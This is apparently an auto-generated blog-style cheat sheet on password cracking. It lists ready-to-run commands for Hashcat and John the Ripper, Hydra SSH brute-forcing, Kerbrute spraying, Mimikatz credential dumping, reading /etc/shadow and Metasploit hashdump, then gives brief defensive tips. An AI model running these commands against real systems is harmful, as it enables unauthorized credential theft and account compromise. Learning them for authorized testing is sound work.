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Password cracking is a critical skill in cybersecurity, whether for ethical hacking, penetration testing, or recovering lost credentials. Below, we explore methods, tools, and commands to crack passwords effectively.
You Should Know: Password Cracking Techniques & Commands
1. Dictionary Attacks
A dictionary attack uses a precompiled list of common passwords. Tools like John the Ripper and Hashcat automate this process.
Using John the Ripper:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using Hashcat:
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
2. Brute-Force Attacks
A brute-force attack tries every possible combination. Itâs slower but thorough.
Using Crunch to Generate Wordlists:
crunch 6 8 0123456789 -o num_wordlist.txt
Using Hydra for SSH Brute-Force:
hydra -l admin -P passwords.txt ssh://192.168.1.1
3. Rainbow Table Attacks
Rainbow tables precompute hashes for faster cracking. Ophcrack is a popular tool.
Using Ophcrack:
ophcrack -g -t /path/to/tables -d /path/to/hashes
4. Password Spraying
Instead of brute-forcing one account, password spraying tries one password across many accounts.
Using Kerbrute:
./kerbrute passwordspray -d domain.com users.txt Password123
5. Hash Extraction & Cracking
Extracting hashes from systems is often the first step.
Dumping Windows Hashes with Mimikatz:
privilege::debug sekurlsa::logonpasswords
Extracting Linux Hashes:
sudo cat /etc/shadow
6. Online Password Cracking Tools
- Burp Suite (for web app password attacks)
- Metasploit (for post-exploitation hash dumping)
Metasploit Hashdump:
use post/windows/gather/hashdump set session 1 run
7. GPU-Accelerated Cracking
Modern GPUs speed up cracking exponentially.
Hashcat with GPU:
hashcat -m 1000 -a 3 -d 1 hashes.txt ?a?a?a?a?a?a
8. Defending Against Password Cracking
- Use strong, unique passwords.
- Enable multi-factor authentication (MFA).
- Implement account lockout policies.
What Undercode Say
Password cracking remains a double-edged swordâessential for security professionals but dangerous in malicious hands. Mastering these techniques helps in penetration testing and system hardening. Always ensure ethical use and proper authorization before attempting any password-cracking activities.
Expected Output:
A detailed report of cracked passwords, including:
- Extracted hashes
- Cracked plaintext passwords
- Time taken for cracking
- Tool used for each attack
For further reading, check:
References:
Reported By: Housenathan Crack – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass â
